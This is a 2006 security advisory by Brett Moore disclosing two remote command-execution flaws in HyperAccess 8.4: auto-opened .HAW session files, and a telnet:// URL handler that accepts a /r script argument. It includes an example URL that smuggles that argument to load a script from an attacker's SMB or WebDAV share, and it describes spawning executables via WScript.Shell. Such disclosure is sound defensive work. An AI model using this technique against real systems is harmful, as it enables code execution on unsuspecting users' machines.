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HyperAccess - Multiple Vulnerabilities
From: "Brett Moore" <brett.moore () security-assessment com>
Date: Thu, 14 Dec 2006 16:00:26 +1300

Not long now...

========================================================================
= Hyper Access - Multiple Vulnerabilities
=
= Vendor Website:  
= http://www.hilgraeve.com
=
= Affected Software:
=       Hyper Access 8.4 (and possibly lower)
=
= Public disclosure on Thursday December 14, 2006
========================================================================

== Overview ==

HyperAccess is the official FULL-POWERED upgrade from HyperTerminal and 
HyperTerminal Private Edition. It is the product from which
HyperTerminal 
and HyperTerminal Private Edition are derived. HyperAccess offers a wide

array of additional capabilities, with a similar look andfeel.

This advisory discloses two separate (but similar) security issues in 
the latest version of HyperAccess .

* Command Execution Through .HAW Opening * 

HyperAccess saves 'sessions' as .haw files. These extensions are setup
to 
open without user intervention, through the editflags setting the in the

registry key: 

  HKEY_CLASSES_ROOT\HAWin32\EditFlags.

If a user, using Internet Explorer, browses to a web site that hosts a 
.HAW, an automatic download and open can be forced. The file will be
opened and parsed by the installed version of HyperAccess.

A .HAW file can be saved with an option 'Script To Run Before
Connecting'
and this can be setup to load  a script file from either an SMB share or

a WEBDAV web share. 

The script command offered by HyperAccess include built in commands as 
well as standard vbscript. This allows the creation of a script that 
uses WScript.Shell to spawn other executables.

This attack requires the target to visit the attackers website, and be
able to connect to the remote share.

A suggested fix is to remove/modify the editflags setting to prevent the

automatic opening and parsing of .HAW files.


* Command Execution Through Telnet URL Protocol *

HyperAccess sets up a URL Protocol to handle the telnet:// URL handler. 
This setting can be viewed in the registry key:
 
  HKEY_CLASSES_ROOT\telnet\shell\open\command 

which is set to 
  
  c:\program files\hawin32\hawin32.exe /t %1

HyperAccess will accept /r as a command line parameter to specify a 
script file to run. This command can be passed on the URL through
Internet 
Explorer using a URL such as;

  telnet://IPADDRESS:PORT # /r \\SERVER\share\scriptfile.txt

Where SERVER is an SMB share or a WEBDAV web share hosting a malicious 
script to run.

The script command offered by Hyperaccess include built in commands as 
well as standard vbscript. This allows the creation of a script that 
uses WScript.Shell to spawn other executables.

This attack requires the target to visit the attackers website, and be
able to connect to the remote share.


A suggested fix is to remove the telnet handler from the registry.


== Solutions ==

Currently, the issues outlined in the report have been added to a 
list of issues to evaluate during the next update of HyperACCESS.
There is currently no planned date for this update.

== Credit ==

Discovered and advised to Hilgraeve November 10, 2006 by Brett Moore of
Security-Assessment.com

== About Security-Assessment.com ==

Security-Assessment.com is Australasia's leading team of Information 
Security consultants specialising in providing high quality Information 
Security services to clients throughout the Asia Pacific region. Our 
clients include some of the largest globally recognised companies in 
areas such as finance, telecommunications, broadcasting, legal and 
government. Our aim is to provide the very best independent advice and 
a high level of technical expertise while creating long and lasting 
professional relationships with our clients.

Security-Assessment.com is committed to security research and 
development, and its team continues to identify and responsibly publish 
vulnerabilities in public and private software vendor's products. 
Members of the Security-Assessment.com R&D team are globally recognised 
through their release of whitepapers and presentations related to new 
security research.

Security-Assessment.com is an Endorsed Commonwealth Government of 
Australia supplier and sits on the Australian Government 
Attorney-General's Department Critical Infrastructure Project panel. 
We are certified by both Visa and MasterCard under their Payment 
Card Industry Data Security Standard Programs.


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